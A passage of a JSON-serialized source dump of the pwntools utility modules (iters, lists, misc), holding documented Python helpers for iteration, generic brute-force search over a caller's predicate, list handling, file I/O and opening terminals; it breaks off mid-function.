 An iterator of the unique elements in `iterable`.\n\n    Examples:\n\n      >>> ''.join(unique_everseen('AAAABBBCCDAABBB'))\n      'ABCD'\n      >>> ''.join(unique_everseen('ABBCcAD', str.lower))\n      'ABCD'\n    \"\"\"\n    seen = set()\n    seen_add = seen.add\n    if key is None:\n        for element in filterfalse(seen.__contains__, iterable):\n            seen_add(element)\n            yield element\n    else:\n        for element in iterable:\n            k = key(element)\n            if k not in seen:\n                seen_add(k)\n                yield element\n\ndef unique_justseen(iterable, key = None):\n    \"\"\"unique_everseen(iterable, key = None) -> iterator\n\n    Get unique elements, preserving order. Remember only the elements just seen.\n    If `key` is not :const:`None` then for each element ``elm`` in `iterable`\n    the element that will be rememberes is ``key(elm)``.  Otherwise ``elm`` is\n    remembered.\n\n    Arguments:\n      iterable:  An iterable.\n      key:  A function to map over each element in `iterable` before remembering\n        it.  Setting to :const:`None` is equivalent to the identity function.\n\n    Returns:\n      An iterator of the unique elements in `iterable`.\n\n    Examples:\n\n      >>> ''.join(unique_justseen('AAAABBBCCDAABBB'))\n      'ABCDAB'\n      >>> ''.join(unique_justseen('ABBCcAD', str.lower))\n      'ABCAD'\n    \"\"\"\n    return map(next, map(operator.itemgetter(1), groupby(iterable, key)))\n\ndef unique_window(iterable, window, key = None):\n    \"\"\"unique_everseen(iterable, window, key = None) -> iterator\n\n    Get unique elements, preserving order. Remember only the last `window`\n    elements seen.  If `key` is not :const:`None` then for each element ``elm``\n    in `iterable` the element that will be rememberes is ``key(elm)``.\n    Otherwise ``elm`` is remembered.\n\n    Arguments:\n      iterable:  An iterable.\n      window(int):  The number of elements to remember.\n      key:  A function to map over each element in `iterable` before remembering\n        it.  Setting to :const:`None` is equivalent to the identity function.\n\n    Returns:\n      An iterator of the unique elements in `iterable`.\n\n    Examples:\n\n      >>> ''.join(unique_window('AAAABBBCCDAABBB', 6))\n      'ABCDA'\n      >>> ''.join(unique_window('ABBCcAD', 5, str.lower))\n      'ABCD'\n      >>> ''.join(unique_window('ABBCcAD', 4, str.lower))\n      'ABCAD'\n    \"\"\"\n    seen = collections.deque(maxlen = window)\n    seen_add = seen.append\n    if key is None:\n        for element in iterable:\n            if element not in seen:\n                yield element\n            seen_add(element)\n    else:\n        for element in iterable:\n            k = key(element)\n            if k not in seen:\n                yield element\n            seen_add(k)\n\ndef iter_except(func, exception):\n    \"\"\"iter_except(func, exception)\n\n    Calls `func` repeatedly until an exception is raised.  Works like the\n    build-in :func:`iter` but uses an exception instead of a sentinel to signal\n    the end.\n\n    Arguments:\n      func(callable): The function to call.\n      exception(Exception):  The exception that signals the end.  Other\n        exceptions will not be caught.\n\n    Returns:\n      An iterator whoose elements are the results of calling ``func()`` until an\n      exception matching `exception` is raised.\n\n    Examples:\n\n      >>> s = {1, 2, 3}\n      >>> i = iter_except(s.pop, KeyError)\n      >>> next(i)\n      1\n      >>> next(i)\n      2\n      >>> next(i)\n      3\n      >>> next(i)\n      Traceback (most recent call last):\n          ...\n      StopIteration\n    \"\"\"\n    try:\n        while True:\n            yield func()\n    except exception:\n        pass\n\ndef random_product(*args, **kwargs):\n    \"\"\"random_product(*args, repeat = 1) -> tuple\n\n    Arguments:\n      args:  One or more iterables\n      repeat(int):  Number of times to repeat `args`.\n\n    Returns:\n      A random element from ``itertools.product(*args, repeat = repeat)``.\n\n    Examples:\n\n      >>> args = (range(2), range(2))\n      >>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}\n      True\n      >>> args = (range(3), range(3), range(3))\n      >>> random_product(*args, repeat = 2) in product(*args, repeat = 2)\n      True\n    \"\"\"\n    repeat = kwargs.pop('repeat', 1)\n\n    if kwargs != {}:\n        raise TypeError('random_product() does not support argument %s' % kwargs.popitem())\n\n    pools = list(map(tuple, args)) * repeat\n    return tuple(random.choice(pool) for pool in pools)\n\ndef random_permutation(iterable, r = None):\n    \"\"\"random_product(iterable, r = None) -> tuple\n\n    Arguments:\n      iterable:  An iterable.\n      r(int):  Size of the permutation.  If :const:`None` select all elements in\n        `iterable`.\n\n    Returns:\n      A random element from ``itertools.permutations(iterable, r = r)``.\n\n    Examples:\n\n      >>> random_permutation(range(2)) in {(0, 1), (1, 0)}\n      True\n      >>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)\n      True\n    \"\"\"\n    pool = tuple(iterable)\n    r = len(pool) if r is None else r\n    return tuple(random.sample(pool, r))\n\ndef random_combination(iterable, r):\n    \"\"\"random_combination(iterable, r) -> tuple\n\n    Arguments:\n      iterable:  An iterable.\n      r(int):  Size of the combination.\n\n    Returns:\n      A random element from ``itertools.combinations(iterable, r = r)``.\n\n    Examples:\n\n      >>> random_combination(range(2), 2)\n      (0, 1)\n      >>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)\n      True\n    \"\"\"\n    pool = tuple(iterable)\n    n = len(pool)\n    indices = sorted(random.sample(range(n), r))\n    return tuple(pool[i] for i in indices)\n\ndef random_combination_with_replacement(iterable, r):\n    \"\"\"random_combination(iterable, r) -> tuple\n\n    Arguments:\n      iterable:  An iterable.\n      r(int):  Size of the combination.\n\n    Returns:\n      A random element from ``itertools.combinations_with_replacement(iterable,\n      r = r)``.\n\n    Examples:\n\n      >>> cs = {(0, 0), (0, 1), (1, 1)}\n      >>> random_combination_with_replacement(range(2), 2) in cs\n      True\n      >>> i = combinations_with_replacement(range(10), r = 2)\n      >>> random_combination_with_replacement(range(10), r = 2) in i\n      True\n    \"\"\"\n    pool = tuple(iterable)\n    n = len(pool)\n    indices = sorted(random.randrange(n) for i in range(r))\n    return tuple(pool[i] for i in indices)\n\n\ndef lexicographic(alphabet):\n    \"\"\"lexicographic(alphabet) -> iterator\n\n    The words with symbols in `alphabet`, in lexicographic order (determined by\n    the order of `alphabet`).\n\n    Arguments:\n      alphabet:  The alphabet to draw symbols from.\n\n    Returns:\n      An iterator of the words with symbols in `alphabet`, in lexicographic\n      order.\n\n    Example:\n\n      >>> take(8, map(lambda x: ''.join(x), lexicographic('01')))\n      ['', '0', '1', '00', '01', '10', '11', '000']\n    \"\"\"\n    for n in count():\n        for e in product(alphabet, repeat = n):\n            yield e\n\ndef chained(func):\n    \"\"\"chained(func)\n\n    A decorator chaining the results of `func`.  Useful for generators.\n\n    Arguments:\n      func(function):  The function being decorated.\n\n    Returns:\n      A generator function whoose elements are the concatenation of the return\n      values from ``func(*args, **kwargs)``.\n\n    Example:\n\n      >>> @chained\n      ... def g():\n      ...     for x in count():\n      ...         yield (x, -x)\n      >>> take(6, g())\n      [0, 0, 1, -1, 2, -2]\n      >>> @chained\n      ... def g2():\n      ...     for x in range(3):\n      ...         yield (x, -x)\n      >>> list(g2())\n      [0, 0, 1, -1, 2, -2]\n    \"\"\"\n    def wrapper(*args, **kwargs):\n        for xs in func(*args, **kwargs):\n            for x in xs:\n                yield x\n    return wrapper\n\ndef bruteforce(func, alphabet, length, method = 'upto', start = None, databag = None):\n    \"\"\"bruteforce(func, alphabet, length, method = 'upto', start = None)\n\n    Bruteforce `func` to return :const:`True`.  `func` should take a string\n    input and return a :func:`bool`.  `func` will be called with strings from\n    `alphabet` until it returns :const:`True` or the search space has been\n    exhausted.\n\n    The argument `start` can be used to split the search space, which is useful\n    if multiple CPU cores are available.\n\n    Arguments:\n      func(function):  The function to bruteforce.\n      alphabet:  The alphabet to draw symbols from.\n      length:  Longest string to try.\n      method:  If 'upto' try strings of length ``1 .. length``, if 'fixed' only\n        try strings of length ``length`` and if 'downfrom' try strings of length\n        ``length .. 1``.\n      start: a tuple ``(i, N)`` which splits the search space up into `N` pieces\n        and starts at piece `i` (1..N). :const:`None` is equivalent to ``(1, 1)``.\n\n    Returns:\n      A string `s` such that ``func(s)`` returns :const:`True` or :const:`None`\n      if the search space was exhausted.\n\n    Example:\n\n      >>> bruteforce(lambda x: x == 'yes', string.ascii_lowercase, length=5)\n      'yes'\n    \"\"\"\n\n    if   method == 'upto' and length > 1:\n        iterator = product(alphabet, repeat = 1)\n        for i in range(2, length + 1):\n            iterator = chain(iterator, product(alphabet, repeat = i))\n\n    elif method == 'downfrom' and length > 1:\n        iterator = product(alphabet, repeat = length)\n        for i in range(length - 1, 1, -1):\n            iterator = chain(iterator, product(alphabet, repeat = i))\n\n    elif method == 'fixed':\n        iterator = product(alphabet, repeat = length)\n\n    else:\n        raise TypeError('bruteforce(): unknown method')\n\n    if method == 'fixed':\n        total_iterations = len(alphabet) ** length\n    else:\n        total_iterations = (len(alphabet) ** (length + 1) // (len(alphabet) - 1)) - 1\n\n    if start is not None:\n        i, N = start\n        if i > N:\n            raise ValueError('bruteforce(): invalid starting point')\n\n        i -= 1\n        chunk_size = total_iterations // N\n        rest = total_iterations % N\n        starting_point = 0\n\n        for chunk in range(N):\n            if chunk >= i:\n                break\n            if chunk <= rest:\n                starting_point += chunk_size + 1\n            else:\n                starting_point += chunk_size\n\n        if rest >= i:\n            chunk_size += 1\n\n        total_iterations = chunk_size\n\n    h = log.waitfor('Bruteforcing')\n    cur_iteration = 0\n    if start is not None:\n        consume(i, iterator)\n    for e in iterator:\n        cur = ''.join(e)\n        cur_iteration += 1\n        if cur_iteration % 2000 == 0:\n            progress = 100.0 * cur_iteration / total_iterations\n            h.status('Trying \"%s\", %0.3f%%' % (cur, progress))\n            if databag:\n                databag[\"current_item\"] = cur\n                databag[\"items_done\"] = cur_iteration\n                databag[\"items_total\"] = total_iterations\n        res = func(cur)\n        if res:\n            h.success('Found key: \"%s\"' % cur)\n            return cur\n        if start is not None:\n            consume(N - 1, iterator)\n\n    h.failure('No matches found')\n\n\ndef _mbruteforcewrap(func, alphabet, length, method, start, databag):\n    oldloglevel = context.log_level\n    context.log_level = 'critical'\n    res = bruteforce(func, alphabet, length, method=method, start=start, databag=databag)\n    context.log_level = oldloglevel\n    databag[\"result\"] = res\n\n\nclass CustomPickler:\n    def __init__(self, *reduction):\n        self.reduction = reduction\n\n    def __reduce__(self):\n        return self.reduction\n\n    def __repr__(self):\n        return self.__class__.__name__ + repr(self.reduction)\n\n\ndef construct_func(*args):\n    return types.FunctionType(*args)\n\n\nclass PicklableFunc:\n    def __init__(self, f):\n        self.f = f\n\n    def __call__(self, *a, **kw):\n        return self.f(*a, **kw)\n\n    def __getattr__(self, a):\n        return getattr(self.f, a)\n\n    def __reduce__(self):\n        # Constructor types.FunctionType tries to be __main__.function;\n        # globs could likewise be <module>.__dict__.  Neither\n        #   type('FunctionType', (), {'__module__':'types'})\n        # nor\n        #   def __reduce__(self): return \"FunctionType\"\n        # works because of checks for identity :(\n        globs = CustomPickler(vars, (CustomPickler(__import__, (self.f.__module__ or '__main__',)),))\n        return type(self), (CustomPickler(\n            construct_func,  # ideally self.f.__class__\n                             # but types.FunctionType tries to be __main__.function\n            (\n                CustomPickler(marshal.loads, (marshal.dumps(self.f.__code__),)),\n                globs,\n                self.f.__name__,\n                self.f.__defaults__,\n                self.f.__closure__,\n                self.f.__kwdefaults__,\n            ),\n            self.f.__dict__,\n        ),)\n\n\ndef mbruteforce(func, alphabet, length, method = 'upto', start = None, threads = None):\n    \"\"\"mbruteforce(func, alphabet, length, method = 'upto', start = None, threads = None)\n\n    Same functionality as bruteforce(), but multithreaded.\n\n    Arguments:\n      func, alphabet, length, method, start: same as for bruteforce()\n      threads: Amount of threads to spawn, default is the amount of cores.\n\n    Example:\n\n    .. doctest::\n      :options: +POSIX +TODO\n\n      >>> mbruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)\n      'hello'\n      >>> mbruteforce(lambda x: x == 'hello', 'hlo', 5, 'downfrom') is None\n      True\n      >>> mbruteforce(lambda x: x == 'no', string.ascii_lowercase, length=2, method='fixed')\n      'no'\n      >>> mbruteforce(lambda x: x == '9999', string.digits, length=4, threads=1, start=(2, 2))\n      '9999'\n    \"\"\"\n\n    if start is None:\n        start = (1, 1)\n\n    if threads is None:\n        try:\n            threads = multiprocessing.cpu_count()\n        except NotImplementedError:\n            threads = 1\n\n    h = log.waitfor('MBruteforcing')\n    processes = [None] * threads\n    shareddata = [None] * threads\n\n    (i2, N2) = start\n    totalchunks = threads * N2\n\n    if isinstance(func, types.FunctionType):\n        func = PicklableFunc(func)\n\n    for i in range(threads):\n        shareddata[i] = multiprocessing.Manager().dict()\n        shareddata[i]['result'] = None\n        shareddata[i]['current_item'] = \"\"\n        shareddata[i]['items_done'] = 0\n        shareddata[i]['items_total'] = 0\n\n        chunkid = (i2-1) + (i * N2) + 1\n\n        processes[i] = multiprocessing.Process(target=_mbruteforcewrap,\n                args=(func, alphabet, length, method, (chunkid, totalchunks),\n                        shareddata[i]))\n        processes[i].start()\n\n    done = False\n\n    while not done:\n        # log status\n        current_item_list = \",\".join([\"\\\"%s\\\"\" % x[\"current_item\"]\n                                for x in shareddata if x is not None])\n        items_done = sum([x[\"items_done\"] for x in shareddata if x is not None])\n        items_total = sum([x[\"items_total\"] for x in shareddata if x is not None])\n\n        progress = 100.0 * items_done / items_total if items_total != 0 else 0.0\n\n        h.status('Trying %s -- %0.3f%%' % (current_item_list, progress))\n\n        # handle finished threads\n        for i in range(threads):\n            if processes[i] and processes[i].exitcode is not None:\n                # thread has terminated\n                res = shareddata[i][\"result\"]\n                processes[i].join()\n                processes[i] = None\n\n                # if successful, kill all other threads and return success\n                if res is not None:\n                    for i in range(threads):\n                        if processes[i] is not None:\n                            processes[i].terminate()\n                            processes[i].join()\n                            processes[i] = None\n                    h.success('Found key: \"%s\"' % res)\n                    return res\n\n                if all([x is None for x in processes]):\n                    done = True\n        time.sleep(0.3)\n    h.failure('No matches found')\n"
  },
  {
    "path": "pwnlib/util/lists.py",
    "content": "import collections\n\n\ndef partition(lst, f, save_keys = False):\n    \"\"\"partition(lst, f, save_keys = False) -> list\n\n    Partitions an iterable into sublists using a function to specify which\n    group they belong to.\n\n    It works by calling `f` on every element and saving the results into\n    an :class:`collections.OrderedDict`.\n\n    Arguments:\n      lst: The iterable to partition\n      f(function): The function to use as the partitioner.\n      save_keys(bool): Set this to True, if you want the OrderedDict\n                       returned instead of just the values\n\n    Example:\n\n      >>> partition([1,2,3,4,5], lambda x: x&1)\n      [[1, 3, 5], [2, 4]]\n      >>> partition([1,2,3,4,5], lambda x: x%3, save_keys=True) == collections.OrderedDict([(1, [1, 4]), (2, [2, 5]), (0, [3])])\n      True\n    \"\"\"\n    d = collections.OrderedDict()\n\n    for l in lst:\n        c = f(l)\n        s = d.setdefault(c, [])\n        s.append(l)\n    if save_keys:\n        return d\n    else:\n        return list(d.values())\n\ndef group(n, lst, underfull_action = 'ignore', fill_value = None):\n    \"\"\"group(n, lst, underfull_action = 'ignore', fill_value = None) -> list\n\n    Split sequence into subsequences of given size. If the values cannot be\n    evenly distributed among into groups, then the last group will either be\n    returned as is, thrown out or padded with the value specified in fill_value.\n\n    Arguments:\n      n (int): The size of resulting groups\n      lst: The list, tuple or string to group\n      underfull_action (str): The action to take in case of an underfull group at the end. Possible values are 'ignore', 'drop' or 'fill'.\n      fill_value: The value to fill into an underfull remaining group.\n\n    Returns:\n      A list containing the grouped values.\n\n    Example:\n\n      >>> group(3, \"ABCDEFG\")\n      ['ABC', 'DEF', 'G']\n      >>> group(3, 'ABCDEFG', 'drop')\n      ['ABC', 'DEF']\n      >>> group(3, 'ABCDEFG', 'fill', 'Z')\n      ['ABC', 'DEF', 'GZZ']\n      >>> group(3, list('ABCDEFG'), 'fill')\n      [['A', 'B', 'C'], ['D', 'E', 'F'], ['G', None, None]]\n      >>> group(2, tuple('1234'), 'fill')\n      [('1', '2'), ('3', '4')]\n    \"\"\"\n\n    if underfull_action not in ['ignore', 'drop', 'fill']:\n        raise ValueError(\"group(): underfull_action must be either 'ignore', 'drop' or 'fill'\")\n\n    if underfull_action == 'fill':\n        if isinstance(lst, tuple):\n            fill_value = (fill_value,)\n        elif isinstance(lst, list):\n            fill_value = [fill_value]\n        elif isinstance(lst, (bytes, str)):\n            if not isinstance(fill_value, (bytes, str)):\n                raise ValueError(\"group(): cannot fill a string with a non-string\")\n        else:\n            raise ValueError(\"group(): 'lst' must be either a tuple, list or string\")\n\n    out = []\n    for i in range(0, len(lst), n):\n        out.append(lst[i:i+n])\n\n    if out and len(out[-1]) < n:\n        if underfull_action == 'ignore':\n            pass\n        elif underfull_action == 'drop':\n            out.pop()\n        else:\n            out[-1] = out[-1] + fill_value * (n - len(out[-1]))\n\n    return out\n\ndef concat(l):\n    \"\"\"concat(l) -> list\n\n    Concats a list of lists into a list.\n\n    Example:\n\n      >>> concat([[1, 2], [3]])\n      [1, 2, 3]\n\n    \"\"\"\n\n    res = []\n    for k in l:\n        res.extend(k)\n\n    return res\n\ndef concat_all(*args):\n    \"\"\"concat_all(*args) -> list\n\n    Concats all the arguments together.\n\n    Example:\n\n       >>> concat_all(0, [1, (2, 3)], [([[4, 5, 6]])])\n       [0, 1, 2, 3, 4, 5, 6]\n    \"\"\"\n\n    def go(arg, output):\n        if isinstance(arg, (tuple, list)):\n            for e in arg:\n                go(e, output)\n        else:\n            output.append(arg)\n        return output\n\n    return go(args, [])\n\ndef ordlist(s):\n    \"\"\"ordlist(s) -> list\n\n    Turns a string into a list of the corresponding ascii values.\n\n    Example:\n\n      >>> ordlist(\"hello\")\n      [104, 101, 108, 108, 111]\n    \"\"\"\n    return list(map(ord, s))\n\ndef unordlist(cs):\n    \"\"\"unordlist(cs) -> str\n\n    Takes a list of ascii values and returns the corresponding string.\n\n    Example:\n\n      >>> unordlist([104, 101, 108, 108, 111])\n      'hello'\n    \"\"\"\n    return ''.join(chr(c) for c in cs)\n\ndef findall(haystack, needle):\n    \"\"\"findall(l, e) -> l\n\n    Generate all indices of needle in haystack, using the\n    Knuth-Morris-Pratt algorithm.\n\n    Example:\n\n      >>> foo = findall([1,2,3,4,4,3,4,2,1], 4)\n      >>> next(foo)\n      3\n      >>> next(foo)\n      4\n      >>> next(foo)\n      6\n      >>> list(foo) # no more appearances\n      []\n      >>> list(findall(\"aaabaaabc\", \"aab\"))\n      [1, 5]\n    \"\"\"\n    def __kmp_table(W):\n        pos = 1\n        cnd = 0\n        T = []\n        T.append(-1)\n        T.append(0)\n        while pos < len(W):\n            if W[pos] == W[cnd]:\n                cnd += 1\n                pos += 1\n                T.append(cnd)\n            elif cnd > 0:\n                cnd = T[cnd]\n            else:\n                pos += 1\n                T.append(0)\n        return T\n\n    def __kmp_search(S, W):\n        m = 0\n        i = 0\n        T = __kmp_table(W)\n        while m + i < len(S):\n            if S[m + i] == W[i]:\n                i += 1\n                if i == len(W):\n                    yield m\n                    m += i - T[i]\n                    i = max(T[i], 0)\n            else:\n                m += i - T[i]\n                i = max(T[i], 0)\n\n    def __single_search(S, w):\n        for i, v in enumerate(S):\n            if v == w:\n                yield i\n\n\n    if type(haystack) != type(needle):\n        needle = [needle]\n    if len(needle) == 1:\n        return __single_search(haystack, needle[0])\n    else:\n        return __kmp_search(haystack, needle)\n"
  },
  {
    "path": "pwnlib/util/misc.py",
    "content": "import json\nimport base64\nimport errno\nimport os\nimport re\nimport signal\nimport socket\nimport stat\nimport string\nimport subprocess\nimport sys\nimport tempfile\nimport inspect\nimport time\nimport types\n\nfrom pwnlib import atexit\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.timeout import Timeout\nfrom pwnlib.util import fiddling\nfrom pwnlib.util import lists\nfrom pwnlib.util import packing\n\nlog = getLogger(__name__)\n\ndef align(alignment, x):\n    \"\"\"align(alignment, x) -> int\n\n    Rounds `x` up to nearest multiple of the `alignment`.\n\n    Example:\n\n      >>> [align(5, n) for n in range(15)]\n      [0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10, 15, 15, 15, 15]\n    \"\"\"\n    return x + -x % alignment\n\n\ndef align_down(alignment, x):\n    \"\"\"align_down(alignment, x) -> int\n\n    Rounds `x` down to nearest multiple of the `alignment`.\n\n    Example:\n\n        >>> [align_down(5, n) for n in range(15)]\n        [0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 10, 10, 10, 10, 10]\n    \"\"\"\n    return x - x % alignment\n\n\ndef binary_ip(host):\n    \"\"\"binary_ip(host) -> str\n\n    Resolve host and return IP as four byte string.\n\n    Example:\n\n        >>> binary_ip(\"127.0.0.1\")\n        b'\\\\x7f\\\\x00\\\\x00\\\\x01'\n    \"\"\"\n    return socket.inet_aton(socket.gethostbyname(host))\n\n\ndef size(n, abbrev = 'B', si = False):\n    \"\"\"size(n, abbrev = 'B', si = False) -> str\n\n    Convert the length of a bytestream to human readable form.\n\n    Arguments:\n      n(int,iterable): The length to convert to human readable form,\n        or an object which can have ``len()`` called on it.\n      abbrev(str): String appended to the size, defaults to ``'B'``.\n\n    Example:\n\n        >>> size(451)\n        '451B'\n        >>> size(1000)\n        '1000B'\n        >>> size(1024)\n        '1.00KB'\n        >>> size(1024, ' bytes')\n        '1.00K bytes'\n        >>> size(1024, si = True)\n        '1.02KB'\n        >>> [size(1024 ** n) for n in range(7)]\n        ['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']\n        >>> size([])\n        '0B'\n        >>> size([1,2,3])\n        '3B'\n    \"\"\"\n    if hasattr(n, '__len__'):\n        n = len(n)\n\n    base = 1000.0 if si else 1024.0\n    if n < base:\n        return '%d%s' % (n, abbrev)\n\n    for suffix in ['K', 'M', 'G', 'T']:\n        n /= base\n        if n < base:\n            return '%.02f%s%s' % (n, suffix, abbrev)\n\n    return '%.02fP%s' % (n / base, abbrev)\n\nKB = 1000\nMB = 1000 * KB\nGB = 1000 * MB\n\nKiB = 1024\nMiB = 1024 * KiB\nGiB = 1024 * MiB\n\ndef read(path, count=-1, skip=0):\n    r\"\"\"read(path, count=-1, skip=0) -> str\n\n    Open file, return content.\n\n    Examples:\n\n        >>> read('/proc/self/exe')[:4] # doctest: +LINUX +TODO\n        b'\\x7fELF'\n    \"\"\"\n    path = os.path.expanduser(os.path.expandvars(path))\n    with open(path, 'rb') as fd:\n        if skip:\n            fd.seek(skip)\n        return fd.read(count)\n\n\ndef write(path, data = b'', create_dir = False, mode = 'w'):\n    \"\"\"Create new file or truncate existing to zero length and write data.\"\"\"\n    path = os.path.expanduser(os.path.expandvars(path))\n    if create_dir:\n        path = os.path.realpath(path)\n        mkdir_p(os.path.dirname(path))\n    if mode == 'w' and isinstance(data, bytes): mode += 'b'\n    with open(path, mode) as f:\n        f.write(data)\n\ndef which(name, all = False, path=None):\n    \"\"\"which(name, flags = os.X_OK, all = False) -> str or str set\n\n    Works as the system command ``which``; searches $PATH for ``name`` and\n    returns a full path if found.\n    Tries all of the file extensions in $PATHEXT on Windows too.\n\n    If `all` is :const:`True` the set of all found locations is returned, else\n    the first occurrence or :const:`None` is returned.\n\n    Arguments:\n      `name` (str): The file to search for.\n      `all` (bool):  Whether to return all locations where `name` was found.\n\n    Returns:\n      If `all` is :const:`True` the set of all locations where `name` was found,\n      else the first location or :const:`None` if not found.\n\n    Example:\n\n        >>> which('sh') # doctest: +ELLIPSIS +POSIX +TODO\n        '.../bin/sh'\n    \"\"\"\n    # If name is a path, do not attempt to resolve it.\n    if os.path.sep in name:\n        return name\n\n    if sys.platform == 'win32':\n        pathexts = os.environ.get('PATHEXT', '').split(os.pathsep)\n        isroot = False\n    else:\n        pathexts = []\n        isroot = os.getuid() == 0\n    pathexts = [''] + pathexts\n    out = set()\n    try:\n        path = path or os.environ['PATH']\n    except KeyError:\n        log.exception('Environment variable $PATH is not set')\n    for path_part in path.split(os.pathsep):\n        for ext in pathexts:\n            nameext = name + ext\n            p = os.path.join(path_part, nameext)\n            if os.access(p, os.X_OK):\n                st = os.stat(p)\n                if not stat.S_ISREG(st.st_mode):\n                    continue\n                # work around this issue: https://bugs.python.org/issue9311\n                if isroot and not \\\n                st.st_mode & (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH):\n                    continue\n                if all:\n                    out.add(p)\n                    break\n                else:\n                    return p\n    if all:\n        return out\n    else:\n        return None\n\n\ndef normalize_argv_env(argv, env, log, level=2):\n    #\n    # Validate argv\n    #\n    # - Must be a list/tuple of strings\n    # - Each string must not contain '\\x00'\n    #\n    argv = argv or []\n    if isinstance(argv, (str, bytes, bytearray)):\n        argv = [argv]\n\n    if not isinstance(argv, (list, tuple)):\n        log.error('argv must be a list or tuple: %r' % argv)\n\n    if not all(isinstance(arg, (str, bytes, bytearray)) for arg in argv):\n        log.error(\"argv must be strings or bytes: %r\" % argv)\n\n    # Create a duplicate so we can modify it\n    argv = list(argv)\n\n    for i, oarg in enumerate(argv):\n        arg = packing._need_bytes(oarg, level, 0x80)  # ASCII text is okay\n        if b'\\x00' in arg[:-1]:\n            log.error('Inappropriate nulls in argv[%i]: %r' % (i, oarg))\n        argv[i] = bytearray(arg.rstrip(b'\\x00'))\n\n    #\n    # Validate environment\n    #\n    # - Must be a dictionary of {string:string}\n    # - No strings may contain '\\x00'\n    #\n\n    # Create a duplicate so we can modify it safely\n    env2 = []\n    if hasattr(env, 'items'):\n        env_items = env.items()\n    else:\n        env_items = env\n    if env:\n        for k,v in env_items:\n            if not isinstance(k, (bytes, str)):\n                log.error('Environment keys must be strings: %r' % k)\n            # Check if = is in the key, Required check since we sometimes call ctypes.execve directly\n            # https://github.com/python/cpython/blob/025995feadaeebeef5d808f2564f0fd65b704ea5/Modules/posixmodule.c#L6476\n            if b'=' in packing._encode(k):\n                log.error('Environment keys may not contain \"=\": %r' % (k))\n            if not isinstance(v, (bytes, str)):\n                log.error('Environment values must be strings: %r=%r' % (k,v))\n            k = packing._need_bytes(k, level, 0x80)  # ASCII text is okay\n            v = packing._need_bytes(v, level, 0x80)  # ASCII text is okay\n            if b'\\x00' in k[:-1]:\n                log.error('Inappropriate nulls in env key: %r' % (k))\n            if b'\\x00' in v[:-1]:\n                log.error('Inappropriate nulls in env value: %r=%r' % (k, v))\n            env2.append((bytearray(k.rstrip(b'\\x00')), bytearray(v.rstrip(b'\\x00'))))\n\n    return argv, env2 or env\n\n\ndef run_in_new_terminal(command, terminal=None, args=None, kill_at_exit=True, preexec_fn=None):\n    \"\"\"run_in_new_terminal(command, terminal=None, args=None, kill_at_exit=True, preexec_fn=None) -> int\n\n    Run a command in a new terminal.\n\n    When ``terminal`` is not set:\n        - If ``context.terminal`` is set it will be used.\n          If it is an iterable then ``context.terminal[1:]`` are default arguments.\n        - If a ``pwntools-terminal`` command exists in ``$PATH``, it is used\n        - If tmux is detected (by the presence of the ``$TMUX`` environment\n          variable), a new pane will be opened.\n        - If GNU Screen is detected (by the presence of the ``$STY`` environment\n          variable), a new screen will be opened.\n        - If ``$TERM_PROGRAM`` is set, that is used.\n        - If X11 is detected (by the presence of the ``$DISPLAY`` environment\n          variable), ``x-terminal-emulator`` is used.\n        - If KDE Konsole is detected (by the presence of the ``$KONSOLE_VERSION``\n          environment variable), a terminal will be split.\n        - If WSL (Windows Subsystem for Linux) is detected (by the presence of\n          a ``wsl.exe`` binary in the ``$PATH`` and ``/proc/sys/kernel/osrelease``\n          containing ``Microsoft``), a new ``cmd.exe`` window will be opened.\n        - If zellij is detected (by the presence of the ``$ZELLIJ`` environment\n          variable), a new screen will be opened.`)\n\n    If `kill_at_exit` is :const:`True`, try to close the command/terminal when the\n    current process exits. This may not work for all terminal types.\n\n    Arguments:\n        command (str): The command to run.\n        terminal (str): Which terminal to use.\n        args (list): Arguments to pass to the terminal\n        kill_at_exit (bool): Whether to close the command/terminal on process exit.\n        preexec_fn (callable): Callable to invoke before exec().\n\n    Note:\n        The command is opened with ``/dev/null`` for stdin, stdout, stderr.\n\n    Returns:\n      PID of the new terminal process\n    \"\"\"\n    if not terminal:\n        if context.terminal:\n            terminal = context.terminal[0]\n            args     = context.terminal[1:]\n        elif which('pwntools-terminal'):\n            terminal = 'pwntools-terminal'\n            args     = []\n        elif 'TMUX' in os.environ and which('tmux'):\n            terminal = 'tmux'\n            args     = ['splitw']\n        elif 'ZELLIJ' in os.environ and which('zellij'):\n            terminal = 'zellij'\n            args = ['action', 'new-pane'] + ['-c'] * kill_at_exit + ['--']\n        elif 'STY' in os.environ and which('screen'):\n            terminal = 'screen'\n            args     = ['-t','pwntools-gdb','bash','-c']\n        elif 'TERM_PROGRAM' in os.environ and os.environ['TERM_PROGRAM'] == \"iTerm.app\" and which('osascript'):\n            # if we're on a mac, and using iTerm\n            terminal = \"osascript\"\n            args     = []\n        elif 'TERM_PROGRAM' in os.environ and which(os.environ['TERM_PROGRAM']):\n            terminal = os.environ['TERM_PROGRAM']\n            args     = []\n        elif 'DISPLAY' in os.environ and which('x-terminal-emulator'):\n            terminal = 'x-terminal-emulator'\n            args     = ['-e']\n        elif 'KITTY_PID' in os.environ and which('kitty') and which('kitten'):\n            terminal = 'kitten'\n            args = ['@', 'launch', '--copy-env', '--cwd', 'current']\n        elif 'TERMINATOR_UUID' in os.environ and which('terminator'):\n            if which('remotinator'):\n                terminal = 'remotinator'\n                args = ['vsplit', '-x']\n            else:\n                terminal = 'terminator'\n                args = ['-e']\n        elif \"GNOME_TERMINAL_SCREEN\" in os.environ and \"GNOME_TERMINAL_SERVICE\" in os.environ and which(\"gnome-terminal\"):\n            terminal = 'gnome-terminal'\n            args     = ['-e']\n        elif \"ALACRITTY_SOCKET\" in os.environ and \"ALACRITTY_WINDOW_ID\" in os.environ and which(\"alacritty\"):\n            terminal = 'alacritty'\n            args     = ['-e']\n        elif \"TILIX_ID\" in os.environ and which(\"tilix\"):\n            terminal = \"tilix\"\n            args     = ['-a', 'session-add-right', '-e']\n        elif 'KONSOLE_VERSION' in os.environ and which('qdbus'):\n            qdbus = which('qdbus')\n            window_id = os.environ['WINDOWID']\n            konsole_dbus_service = os.environ['KONSOLE_DBUS_SERVICE']\n\n            with 